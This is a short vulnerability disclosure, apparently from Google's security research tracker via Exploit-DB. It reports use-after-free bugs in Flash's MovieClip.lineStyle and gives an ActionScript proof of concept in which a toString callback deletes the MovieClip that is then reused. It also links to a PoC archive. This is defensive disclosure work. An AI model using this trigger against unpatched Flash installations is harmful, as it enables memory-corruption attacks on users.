Source: https://code.google.com/p/google-security-research/issues/detail?id=558

There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

function func(){
	
	triangle_mc.removeMovieClip();
	return "none";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip